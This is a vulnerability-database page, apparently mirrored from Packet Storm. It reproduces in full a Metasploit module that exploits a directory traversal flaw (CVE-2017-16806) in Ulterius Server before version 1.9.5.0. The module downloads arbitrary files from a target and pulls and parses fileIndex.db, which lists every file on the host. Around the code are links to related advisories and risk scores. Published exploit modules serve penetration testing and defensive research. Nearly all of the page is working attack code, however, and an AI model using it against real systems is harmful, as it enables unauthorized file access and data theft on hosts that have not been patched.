Lucene search
K

Ulterius Server File Download

🗓️ 31 Aug 2024 00:00:00Reported by Rick Osgood, Jacob Robles, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 145 Views

Ulterius Server File Download Vulnerability in Ulterius Server < v1.9.5.0 allows file download from affected host. Path needed to download file. Module can parse and download fileIndex.db

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Ulterius Server < 1.9.5.0 - Directory Traversal Exploit
14 Nov 201700:00
zdt
Circl
CVE-2017-16806
29 May 201815:50
circl
CNVD
Ulterius Directory Traversal Vulnerability
14 Nov 201700:00
cnvd
CVE
CVE-2017-16806
13 Nov 201721:00
cve
Cvelist
CVE-2017-16806
13 Nov 201721:00
cvelist
Exploit DB
Ulterius Server &lt; 1.9.5.0 - Directory Traversal
13 Nov 201700:00
exploitdb
exploitpack
Ulterius Server 1.9.5.0 - Directory Traversal
13 Nov 201700:00
exploitpack
Metasploit
Ulterius Server File Download Vulnerability
6 Feb 201804:50
metasploit
Nuclei
Ulterius Server < 1.9.5.0 - Directory Traversal
6 Jun 202603:01
nuclei
NVD
CVE-2017-16806
13 Nov 201721:29
nvd
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Ulterius Server File Download Vulnerability',  
'Description' => %q{  
This module exploits a directory traversal vulnerability in Ulterius Server < v1.9.5.0  
to download files from the affected host. A valid file path is needed to download a file.  
Fortunately, Ulterius indexes every file on the system, which can be stored in the  
following location:  
  
http://ulteriusURL:port/.../fileIndex.db.  
  
This module can download and parse the fileIndex.db file. There is also an option to  
download a file using a provided path.  
},  
'Author' => [  
'Rick Osgood', # Vulnerability discovery and PoC  
'Jacob Robles' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
[ 'EDB', '43141' ],  
[ 'CVE', '2017-16806' ]  
]  
)  
)  
  
register_options(  
[  
Opt::RPORT(22006),  
OptString.new('PATH', [true, 'Path to the file to download', '/.../fileIndex.db']),  
]  
)  
end  
  
def process_data(index, parse_data)  
length = parse_data[index].unpack('C')[0]  
length += parse_data[index + 1].unpack('C')[0]  
length += parse_data[index + 2].unpack('C')[0]  
length += parse_data[index + 3].unpack('C')[0]  
  
index += 4  
filename = parse_data[index...index + length]  
index += length  
return index, filename  
end  
  
def inflate_parse(data)  
zi = Zlib::Inflate.new(-15)  
data_inflated = zi.inflate(data)  
  
parse_data = data_inflated[8...-1]  
remote_files = ''  
  
index = 0  
print_status('Starting to parse fileIndex.db...')  
while index < parse_data.length  
index, filename = process_data(index, parse_data)  
index, directory = process_data(index, parse_data)  
remote_files << directory + '\\' + filename + "\n"  
  
# skip FFFFFFFFFFFFFFFF  
index += 8  
end  
myloot = store_loot('ulterius.fileIndex.db', 'text/plain', datastore['RHOST'], remote_files, 'fileIndex.db', 'Remote file system')  
print_status("Remote file paths saved in: #{myloot}")  
end  
  
def run  
path = datastore['PATH']  
# Always make sure there is a starting slash so as an user,  
# we don't need to worry about it.  
path = "/#{path}" if path && path[0] != '/'  
  
print_status("Requesting: #{path}")  
  
begin  
res = send_request_cgi({  
'uri' => normalize_uri(path),  
'method' => 'GET'  
})  
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,  
Rex::HostUnreachable, Errno::ECONNRESET => e  
vprint_error("Failed: #{e.class} - #{e.message}")  
return  
end  
  
if res && res.code == 200  
if path =~ /fileIndex\.db/i  
inflate_parse(res.body)  
else  
myloot = store_loot('ulterius.file.download', 'text/plain', datastore['RHOST'], res.body, path, 'Remote file system')  
print_status("File contents saved: #{myloot}")  
end  
end  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7High risk
Vulners AI Score7
CVSS 25
CVSS 37.5
EPSS0.86498
145